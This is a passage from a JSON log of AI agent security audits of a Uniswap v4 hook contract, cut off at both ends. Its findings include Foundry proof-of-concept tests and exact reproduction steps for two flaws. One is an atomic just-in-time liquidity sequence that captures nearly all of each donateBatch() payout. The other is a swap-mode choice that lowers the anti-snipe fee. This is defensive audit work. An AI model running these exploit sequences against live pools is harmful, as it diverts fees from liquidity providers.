TickMath.MAX_SQRT_PRICE - 1\n        );\n    }\n\n    function _tok(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount1()) : int256(d.amount0());\n    }\n\n    function _pair(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount0()) : int256(d.amount1());\n    }\n\n    function test_sameTokensSameBlockSameHookFeeRegardlessOfSwapMode() public {\n        vm.roll(opened); // opening block: 30% anti-snipe + 0.5% growth\n        uint256 snap = vm.snapshotState();\n\n        BalanceDelta ei = router.swap(key, _params(true, true, 100 ether));\n        uint256 tokens = uint256(_tok(ei));\n        uint256 feeExactInput = hook.pending() + hook.antiSnipePending();\n        uint256 paidExactInput = uint256(-_pair(ei));\n        vm.revertToState(snap);\n\n        BalanceDelta eo = router.swap(key, _params(true, false, tokens));\n        uint256 feeExactOutput = hook.pending() + hook.antiSnipePending();\n        uint256 paidExactOutput = uint256(-_pair(eo));\n        assertEq(uint256(_tok(eo)), tokens, \"same tokens bought\");\n\n        // Same trade, same state: the hook must charge the same fee and the buyer must pay the same.\n        assertApproxEqRel(feeExactOutput, feeExactInput, 1e15, \"hook fee depends on swap mode\");\n        assertApproxEqRel(paidExactOutput, paidExactInput, 1e15, \"gross IMD cost depends on swap mode\");\n    }\n}","reproduction":"Local PoolManager, SIMDTEST/IMD pool at sqrtPrice 2^96, liquidity 1e24 in [-600,600], block = openingBlock (antiSnipeBps()=3000). (A) Exact-input buy, amountSpecified = -100e18 IMD: trader pays 100e18 IMD, receives 68626540074771493338 SIMDTEST, pending()+antiSnipePending() = 30.5e18 (3050 bps of gross). (B) Revert state; exact-output buy of the same 68626540074771493338 SIMDTEST: trader pays 90.6975e18 IMD, hook fee 21.1975e18 (2337 bps of gross). Expected: same tokens from the same state in the same block pay the same fee (30.5e18). Actual: 21.1975e18, 9.3025e18 less. (C) Exact-input sell of 100e18 SIMDTEST: net IMD 68624473333258340740, fee 30115776067113372553 (3049 bps of gross). (D) Revert; exact-output sell asking for the same 68624473333258340740 IMD net: sells 90696666840578506577 SIMDTEST, fee 20930464366643793925 (2337 bps of gross). Run: forge test --match-path test/scratch/Proof_43be922a91e0.t.sol -> FAIL 'hook fee depends on swap mode: 21197500000000000000 !~= 30500000000000000000'. The other three specialist proofs (Proof_a499a6540bb0, Proof_704134fbca81) fail the same way; I re-ran all of them on this tree.","severity":"medium","snippet":"        uint256 base = _abs(pairedIs0 ? int256(delta.amount0()) : int256(delta.amount1()));\n        uint256 fee = _accrue(base * antiSnipeBps() / BPS, base * GROWTH_BPS / BPS);","title":"Hook fee basis differs by swap mode: exact-output buys and sells pay 23.4% of gross IMD at the opening block where exact-input pays 30.5%, so a sniper halves the deterrent by choosing the swap mode"},{"citation":"resolved","description":"Merged from audit_math 77565e35, audit_permissions 001010ea, audit_economics de0c4fd0, audit_flow 813e2de5; one root cause. donateBatch() (lines 170-180) is permissionless and its eligibility is public (lastBatch()+3600, pending() is a view). unlockCallback settles it with PoolManager.donate, which adds the amount to feeGrowthGlobal pro rata to state.liquidity, the liquidity in range at that exact call (lib/v4-core/src/libraries/Pool.sol:473-487). The hook enables no liquidity callbacks and keeps no record of who supplied liquidity while the fees accrued, so nothing ties the donation to liquidity that existed before the call. A caller with no prior position mints a large position in the single tick-spacing band around the current tick, calls donateBatch(), and burns the position in one transaction; donate() does not move the price so there is no inventory risk, the capital round-trips, and the attacker leaves with L_att/(L_att+L_seed) of the donation for gas and 1 wei of rounding. A +-60 tick band needs roughly one tenth of the capital per unit of liquidity of the [-600,600] seed, far less against a full-range seed, so modest capital gives near-total capture. Amplifier: when the price sits outside every position (seed fully bought out) donateBatch() reverts NoLiquidityToReceiveFees and the reserve waits; the first party to add even 1e6 units of in-range liquidity then collects 100% of it (verified: 2.5e18 donated, attacker +2499999999999999999 wei). The brief's preset says the growth fee is donated 'back into the pool as liquidity, benefiting in-range LPs' for 'long-term liquidity expansion'; in practice half of the reserve is transferred every hour to the first bot that bundles the three calls, and no donated IMD ever becomes pool liquidity. README and docs/SECURITY-REVIEW.md acknowledge 'JIT LPs can capture a portion'; the measured portion is 99.9% with 1000x the seed liquidity and 100% in the out-of-range case. The existing test test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition only checks a pre-existing position and never adds liquidity around the call. Severity medium: funds are diverted from the intended beneficiaries under conditions any unprivileged caller can create, bounded to the growth reserve (0.5% of IMD volume); no principal is at risk. Mitigations that keep the no-owner design: have the hook hold the growth reserve as its own full-range position via modifyLiquidity instead of donate (this also makes 'liquidity growth' literal); or stream the donation in small per-block slices so a JIT position must hold across blocks and bear price risk; or gate the donation to liquidity aged at least one batch interval via beforeAddLiquidity/beforeRemoveLiquidity bookkeeping. Any of these changes how the reserve is paid out and needs the requester's scope decision.","line":195,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract MintableERC20 is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n    constructor(IPoolManager m) { manager = m; }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        else delta = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 amount, address payer) private {\n        if (amount < 0) {\n            uint256 owed = uint256(-int256(amount));\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// An unprivileged caller who held no liquidity before the batch must not be able to walk away\n/// with the growth reserve by adding liquidity, calling donateBatch and removing it in one block.\n/// On the current code the attacker nets 99.9% of the donation at a cost of 1 wei of SIMDTEST.\ncontract ProofJitTest is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);\n    uint256 constant LIQ = 1_000_000 ether;\n\n    IPoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    ProofRouter router;\n    PoolKey key;\n    uint256 opened;\n    address attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.etch(PAIR, type(MintableERC20).runtimeCode);\n        MintableERC20(PAIR).mint(address(this), 1e30);\n        manager = new PoolManager(address(this));\n        token = new SIMDTEST();\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 h = keccak256(code);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            salt = bytes32(i);\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));\n            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        opened = block.number;\n        router = new ProofRouter(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        // The launch seed position.\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));\n    }\n\n    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {\n        bool zeroForOne = buy == hook.pairedIs0();\n        return SwapParams(\n            zeroForOne,\n            exactInput ? -int256(amount) : int256(amount),\n            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n        );\n    }\n\n    function test_jitLiquidityCannotCaptureTheDonation() public {\n        vm.roll(opened + 10); // past the anti-snipe window: only the growth fee accrues\n        router.swap(key, _params(true, true, 10_000 ether));\n        router.swap(key, _params(false, true, 10_000 ether));\n        uint256 donation = hook.pending() / 2;\n        assertGt(donation, 0);\n        vm.warp(hook.lastBatch() + 3600);\n\n        token.transfer(attacker, 1e25);\n        IERC20(PAIR).transfer(attacker, 1e25);\n        vm.startPrank(attacker);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        uint256 pairBefore = IERC20(PAIR).balanceOf(attacker);\n        // Every step is tolerant of a revert so that a fix which blocks any of them still passes.\n        ModifyLiquidityParams memory add = ModifyLiquidityParams(-60, 60, int256(LIQ * 1000), bytes32(0));\n        ModifyLiquidityParams memory remove = ModifyLiquidityParams(-60, 60, -int256(LIQ * 1000), bytes32(0));\n        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, add)));\n        address(hook).call(abi.encodeCall(SIMDTESTHook.donateBatch, ()));\n        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, remove)));\n        vm.stopPrank();\n\n        int256 attackerGain = int256(IERC20(PAIR).balanceOf(attacker)) - int256(pairBefore);\n        assertLe(attackerGain, int256(donation / 2), \"a same-block JIT LP captured most of the growth donation\");\n    }\n}","reproduction":"Local PoolManager, SIMDTEST/IMD pool at sqrtPrice 2^96, honest seed liquidity 1e24 in [-600,600], block = openingBlock+10 (no anti-snipe). (1) Trader exact-input buys 10_000e18 IMD and exact-input sells 10_000e18 SIMDTEST: pending() = 99852912631782833474. (2) vm.warp(lastBatch()+3600). (3) Attacker with no prior position, one transaction: modifyLiquidity(key, [-60,60], +1e27, salt); hook.donateBatch() (returns 49926456315891416737); modifyLiquidity(key, [-60,60], -1e27, salt). Expected: the donation accrues to the LPs who supplied liquidity during the accrual period (the seed), a transient position gets a negligible share. Actual: attacker IMD balance +49876579736155261474 (99.9% of the donation), SIMDTEST balance -1 wei; the seed position later collects 0.049876579736155261e18 (0.1%). Out-of-range variant: after a 1000e18 buy, remove the seed, warp 3600; donateBatch() reverts NoLiquidityToReceiveFees; attacker adds 1e6 liquidity units in [-60,60], calls donateBatch() (2.5e18), removes: attacker IMD +2499999999999999999. Run: forge test --match-path test/scratch/Proof_001010ea98bd.t.sol -> FAIL 'a same-block JIT LP captured most of the growth donation: 49876579736155261474 > 24963228157945708368'.","severity":"medium","snippet":"        if (donate) {\n            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"donateBatch() pays the growth reserve to whoever holds in-range liquidity at that instant; an atomic JIT position (or 1 wei of liquidity after the seed goes out of range) captures ~99.9-100% of every "}],"hash":"2a5afb87c2d09bc93e1e5045564d9ef1f1080f0aae92886c9cd142fb85ae76fd","nodeId":"74b5cd8f-bae4-4f6f-b73b-b478ca5134f5","outcome":"completed","summary":"The review is complete. The findings file is written and parses, and no tracked file was changed. Scratch tests live only under the ignored test/scratch/ directory.\n\n**Outcome: two reproduced findings, both medium, written to `.imd-findings.json` with proofs and a 15-row coverage record.**\n\n**Finding 1, medium: hook fee basis differs by swap mode** (src/SIMDTESTHook.sol:154). All four specialists reported this; it is one root cause and I merged it. The beforeSwap branch charges the rate on the trader's gross IMD, while afterSwap charges it on the core pool delta before the fee is added. Measured at the opening block, exact-input swaps pay 3050 bps of gross and exact-output swaps pay 2337 bps, on both the buy and sell sides. A sniper who picks exact-output pays about 23% instead of the 30% the brief promises, and the vault and growth reserve receive 30.5% less. The project's own test fixture encodes the asymmetric basis as expected, so the suite cannot catch it. Proof attached: the audit_permissions test, which fails on this tree with the expected message.\n\n**Finding 2, medium: donateBatch pays whoever is in range at that instant** (src/SIMDTESTHook.sol:195). Three specialists reported this; merged. A caller with no prior position adds a large narrow-band position, calls donateBatch, and removes it in one transaction, taking 99.9% of the donation with 1 wei of rounding cost and no price exposure. I also confirmed the amplifier: once the seed is out of range, 1e6 units of dust liquidity capture the entire donation minus 1 wei. The README calls this \"a portion\". Proof attached: the audit_permissions JIT test, which fails on this tree.\n\n**Dropped:** the audit_math dust-rounding note. It reproduces, but it is documented in the README and gas exceeds the dust by many orders of magnitude, so it is not a defect. It is recorded as a coverage row rather than a finding.\n\n**My own pass found nothing further.** I traced the rollback-only quote (self-calls skip hooks in the vendored library, the revert restores all manager state, partial-fill proration is consistent, fee stays within int128), the claim mint and return-delta netting, sweep and donate settlement, beforeInitialize binding, permission bits, and the absence of any owner or escape hatch. All existing project tests pass; the mainnet fork suite skips without an RPC and remains unverified, as the README states.","treeHash":null,"usage":{"cachedInputTokens":997537,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":29674,"runtime":"claude","turns":30,"wallClockMs":411786}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"0238a59bba722237","findings":[{"citation":"resolved","description":"First-principles / execution x periphery seam. The liquidity-growth preset promises that half the accrued 0.5% fee is returned to the pool 'as liquidity, benefiting in-range LPs' for 'long-term liquidity expansion'. The implementation calls PoolManager.donate, which adds the amount to feeGrowthGlobal and is credited pro rata to whatever liquidity is in range in that exact call. donateBatch() is callable by anyone, and PoolManager.donate has no notion of how long a position has existed. An attacker therefore runs, in a single transaction from a contract: (1) modifyLiquidity adding a very large position in the single tick-spacing range [tick-60,tick+60) that contains the current tick; (2) hook.donateBatch(); (3) modifyLiquidity removing the position and collecting its fee share. Because a +-60 tick range needs roughly ten times less capital per unit of liquidity than the launch's wide seed position, modest capital gives the attacker nearly all in-range liquidity. The sequence is atomic, so it has no price exposure and needs no mempool race; the capital round-trips and the attacker leaves with nearly the whole donation. The seed position, i.e. the liquidity the fee was meant to grow, receives dust. The README and docs/SECURITY-REVIEW.md acknowledge that 'JIT LPs can capture a portion of a public donation'; the measured portion is 99.9%, so every hourly donation is effectively a transfer of half the growth reserve to the first keeper-bot that bundles the three calls. No donated IMD ever becomes liquidity. Possible mitigations that keep the no-owner design: stream the donation over many blocks (small amount per block, bounded per call) so a JIT position must hold across blocks and bear price risk; or have the hook hold the growth reserve as its own full-range position via modifyLiquidity instead of donate.","line":195,"path":"src/SIMDTESTHook.sol","reproduction":"Pool seeded with 1e24 liquidity in [-600,600] at price 1:1 (the launch position). Block B+10: exact-input buy of 100e18 IMD accrues pending()=0.5e18. Seed LP collects, warp to lastBatch+3600. Attacker contract, one transaction: add liquidity 1e27 in [lower, lower+60] around the current tick (costs about 2.9e24 of each token, all returned at step 3); call hook.donateBatch() (returns 0.25e18); remove the 1e27 liquidity. Measured: attacker IMD balance rises by 249750249750249749 (99.9% of the 250000000000000000 donation); the seed LP's next collect yields 249750249750249 (0.1%). Expected: the donation accrues to liquidity actually present in the pool, not to a position that exists only inside the caller's own transaction. The attached test test/scratch/JitDonationCapture.t.sol fails with 'JIT position captured the growth donation: 249750249750249749 >= 2500000000000000'.","severity":"medium","snippet":"            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"donateBatch() pays the growth reserve to whoever holds in-range liquidity at that instant; an atomic JIT position captures ~99.9% of each donation"},{"citation":"resolved","description":"Asymmetry / first principles. When IMD is the specified currency (exact-input buy, exact-output sell) beforeSwap charges rate r on the user's requested IMD amount, so the hook fee is r of the IMD the user actually pays or receives. When IMD is the unspecified currency (exact-output buy, exact-input sell) afterSwap charges r on the pool's core IMD delta `base`, and the user pays base+fee, so the hook fee is only r/(1+r) of the IMD the user pays. At the opening-block rate r=30% that is 23.08% versus 30%; the growth fee has the same skew (0.498% vs 0.5%). The brief specifies one anti-snipe rate 'starting at 30%' on swaps; the effective rate a sniper faces depends on which mode their router uses, and every v4 router offers both. For the same IMD spent in the opening block, exact-output delivers 10.000 SIMDTEST where exact-input delivers 9.070, i.e. a 10.3% larger sniped position for the same outlay, and the vault receives 0.93 IMD less per 13.2 IMD traded. The same skew applies to sells (exact-output sell pays r on net output, exact-input sell pays r on gross output). The README documents the two bases but does not note that they yield different effective rates. A consistent base is cheap: in afterSwap charge base*r/(BPS-r) for buys (fee is r of the user's gross outlay) and base*r/BPS for sells, or conversely charge beforeSwap on the net amount; either way both modes should produce the same fee for the same gross IMD.","line":154,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract ProofERC20 is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"manager only\");\n        (uint8 op, address payer, PoolKey memory key, bytes memory args) =\n            abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        else delta = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency currency, int128 amount, address payer) private {\n        if (amount < 0) {\n            uint256 owed = uint256(-int256(amount));\n            manager.sync(currency);\n            IERC20(Currency.unwrap(currency)).transferFrom(payer, address(manager), owed);\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(currency, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// @dev In the opening block the anti-snipe rate is 30%. An exact-input buy pays 30% of the IMD it\n/// spends. An exact-output buy pays 30% of the pool's core IMD input only, i.e. 30/130 = 23.08% of\n/// the IMD it spends. A sniper choosing exact-output acquires the same tokens for a smaller fee.\ncontract ModeAsymmetryProof is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n\n    PoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    ProofRouter router;\n    PoolKey key;\n\n    function setUp() public {\n        vm.etch(PAIR, address(new ProofERC20()).code);\n        ProofERC20(PAIR).mint(address(this), 1e30);\n        manager = new PoolManager(address(this));\n        token = new SIMDTEST();\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address predicted =\n                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), keccak256(code))))));\n            if (HookFlags.matches(predicted, HookFlags.SIMDTEST)) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        router = new ProofRouter(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(1_000_000 ether), bytes32(0)));\n    }\n\n    function _pair(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount0()) : int256(d.amount1());\n    }\n\n    function _tok(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount1()) : int256(d.amount0());\n    }\n\n    function test_ExactOutputBuyPaysLowerAntiSnipeRateThanExactInputBuy() public {\n        assertEq(hook.antiSnipeBps(), 3000, \"opening block\");\n        bool zeroForOne = hook.pairedIs0();\n        uint160 limit = zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1;\n\n        // Exact-output buy of 10 SIMDTEST.\n        uint256 snap = vm.snapshotState();\n        BalanceDelta outDelta = router.swap(key, SwapParams(zeroForOne, int256(10 ether), limit));\n        uint256 outSpent = uint256(-_pair(outDelta));\n        uint256 outAnti = hook.antiSnipePending();\n        uint256 outTokens = uint256(_tok(outDelta));\n        vm.revertToState(snap);\n\n        // Exact-input buy spending exactly the same IMD.\n        BalanceDelta inDelta = router.swap(key, SwapParams(zeroForOne, -int256(outSpent), limit));\n        uint256 inSpent = uint256(-_pair(inDelta));\n        uint256 inAnti = hook.antiSnipePending();\n        uint256 inTokens = uint256(_tok(inDelta));\n        assertEq(inSpent, outSpent, \"same IMD outlay\");\n\n        emit log_named_uint(\"IMD spent (both modes)\", outSpent);\n        emit log_named_uint(\"exact-output anti-snipe fee\", outAnti);\n        emit log_named_uint(\"exact-input  anti-snipe fee\", inAnti);\n        emit log_named_uint(\"exact-output anti bps of outlay\", outAnti * 10_000 / outSpent);\n        emit log_named_uint(\"exact-input  anti bps of outlay\", inAnti * 10_000 / inSpent);\n        emit log_named_uint(\"tokens via exact-output\", outTokens);\n        emit log_named_uint(\"tokens via exact-input\", inTokens);\n\n        // Expected: the 30% anti-snipe charge is independent of the swap mode for the same IMD spent.\n        // Actual: exact-output pays ~2299 bps of its outlay, exact-input pays 3000 bps.\n        assertApproxEqAbs(outAnti, inAnti, inAnti / 1000, \"anti-snipe fee depends on swap mode\");\n    }\n}","reproduction":"Pool seeded 1e24 liquidity in [-600,600], price 1:1, opening block (antiSnipeBps()=3000). (a) Exact-output buy of 10e18 SIMDTEST: user pays 13215322026637987900 IMD total, antiSnipePending = 3038005063594939747 (2298 bps of outlay). (b) From the same state, exact-input buy spending exactly 13215322026637987900 IMD: antiSnipePending = 3964596607991396370 (3000 bps of outlay) and the user receives 9069758437142786153 SIMDTEST. Expected: equal anti-snipe fee for equal IMD spent. Actual: 0.93e18 IMD (23%) less fee via exact-output. test/scratch/ModeAsymmetry.t.sol fails with 'anti-snipe fee depends on swap mode: 3038005063594939747 !~= 3964596607991396370'.","severity":"low","snippet":"        uint256 base = _abs(pairedIs0 ? int256(delta.amount0()) : int256(delta.amount1()));\n        uint256 fee = _accrue(base * antiSnipeBps() / BPS, base * GROWTH_BPS / BPS);","title":"Anti-snipe fee base differs by swap mode: exact-output buys pay 23.0% of their IMD outlay while exact-input buys pay 30%, so a sniper picks exact-output and buys ~10% more tokens for the same IMD"}],"hash":"3b28b655524daf8a25fb4e8f039ce5698f46d33873d645046982e7184bf15d5f","nodeId":"6b437c0f-fb72-4b83-af46-763888de2c0c","outcome":"completed","summary":"The review is complete. Findings are in `.imd-findings.json` at the repository root, with two embedded proof tests. No project files were changed. Working-tree additions are the findings file and `test/scratch/`, which is gitignored.\n\n**Outcome**\n\nThe hook's control flow is sound. I traced beforeSwap, afterSwap, the rollback-only quote, sweep, donateBatch and unlockCallback end to end, and found no delta accounting, authorization, reentrancy or overflow defect. The local suite passes. I also ran the author's mainnet-fork suite against the real PoolManager and real IMD code through a public RPC at block 26145868, and all four fork tests passed. IMD is a LayerZero OFT with a standard transfer path, so settlement works as the hook assumes.\n\n**Findings**\n\n- **Medium: donation captured by atomic JIT liquidity.** `donateBatch()` routes the growth reserve through `PoolManager.donate`, which credits whatever liquidity is in range at that instant. An attacker contract adds a large single-spacing position, calls `donateBatch()`, and removes it in one transaction. The proof measures the attacker taking 99.9% of a 0.25 IMD donation while the seed position receives 0.1%. The author's README acknowledges JIT capture as a \"portion\"; the measured portion is essentially all of it, and no donated IMD ever becomes liquidity. Proof: `test/scratch/JitDonationCapture.t.sol`.\n- **Low: anti-snipe rate depends on swap mode.** Specified-IMD swaps pay the rate on gross IMD; unspecified-IMD swaps pay it on the core delta, so the effective rate is r/(1+r). In the opening block an exact-output buy pays 2298 bps of its outlay versus 3000 bps for exact-input, and acquires 10.0 tokens where exact-input gets 9.07 for the same IMD. Proof: `test/scratch/ModeAsymmetry.t.sol`.\n\n**Coverage**\n\nAll ten listed entry points have a row. Eight hold, two carry findings, plus three invariant rows including the live fork run. Nothing was left unreached.","treeHash":null,"usage":{"cachedInputTokens":2401596,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":49254,"runtime":"claude","turns":43,"wallClockMs":769591}},{"artifacts":[],"attempt":1,"bundleHash":"58a92897a923ceabcb9ccbce2d458ff02f0e10cfee99a29cc0468a15f34a9c6d","device":"20c10dbba93106ff","findings":[],"hash":"66d9f99faa95af1bb75cfabbdd693025e7dd30b2231b5d179833744d994522fa","nodeId":"243f4147-8c09-4b3a-befc-f9da6f915b70","outcome":"completed","summary":"Added adversarial, differential, batched-swap, invariant, and fork tests. All changes are under `test/`.\n\n- `forge build`: passed.\n- `forge test`: **44 passed, 0 failed, 1 skipped**.\n- New invariant: 16,384 random calls.\n\nMainnet-fork execution remains unverified because public RPCs returned HTTP 403. No reproducible implementation defects found.","treeHash":"ce29bdc85e2ea3c545dbfca9c2a5fb3fbd3dce09","usage":{"cachedInputTokens":1247616,"inputTokens":82640,"model":"gpt-6-astra","outputTokens":17332,"runtime":"codex","turns":6,"wallClockMs":582215}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"34a2521e85e06dc6","findings":[],"hash":"74e2913f63723e2af978f49407257bb39ee0505efaba2c46b50db62839fb2e8d","nodeId":"0039cfe3-1249-40bb-b60d-8ecd7e884ce1","outcome":"failed","summary":"the task produced no changes; the agent's last message was: Blocked by the execution environment: every shell command fails with `bwrap: setting up uid map: Permission denied`.\n\nNo files changed. I couldn’t read the code, reproduce the findings, or run `forge build` and `forge test`. The sandbox must be repaired before this revision can proceed.","treeHash":null,"usage":{"cachedInputTokens":280064,"inputTokens":52355,"model":"gpt-6-astra","outputTokens":1787,"runtime":"codex","turns":5,"wallClockMs":152705}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"dedc96e38388cb45","findings":[{"citation":"resolved","description":"Second-round settlement of prior finding 16a7c3d5 (merged from audit_math 77565e35, audit_permissions 001010ea, audit_economics de0c4fd0, audit_flow 813e2de5). The behaviour still reproduces unchanged: the supplied proofs Proof_16a7c3d5ddd4.t.sol and Proof_001010ea98bd.t.sol both fail on this tree with 'a same-block JIT LP captured most of the growth donation: 49876579736155261474 > 24963228157945708368'. The author disputes the requirement rather than the observation, and on re-reading the brief I accept the dispute. The brief defines donateBatch() as: 'Anyone may call donateBatch() once every 3600 seconds to unlock the PoolManager and donate up to 50% of the accrued balance back into the pool as liquidity, benefiting in-range LPs', and separately 'sweep() and donateBatch() are externally callable by anyone without restrictions except timing for donateBatch()'. The implementation does exactly that: permissionless, hourly, PoolManager.donate, pro rata to current in-range liquidity, which is what v4's Pool.donate means. The brief names no liquidity-age or historical-accrual eligibility, and every mitigation I listed last round (hook-owned position instead of donate, streaming, age-gated eligibility via liquidity callbacks) changes the specified payout mechanism and would need the requester's scope decision; the reference's rule that an intentional design is not itself a finding and that fixes must preserve the agreed design applies. The author has now disclosed the limitation concretely in README.md (line 61: 'An LP can add liquidity, trigger an eligible batch, and remove liquidity in one transaction to capture almost all of that batch'), docs/SECURITY-REVIEW.md (lines 42-46) and the launch.json notes ('A same-transaction JIT position can capture almost all of a batch, or all less rounding as the sole in-range LP; no 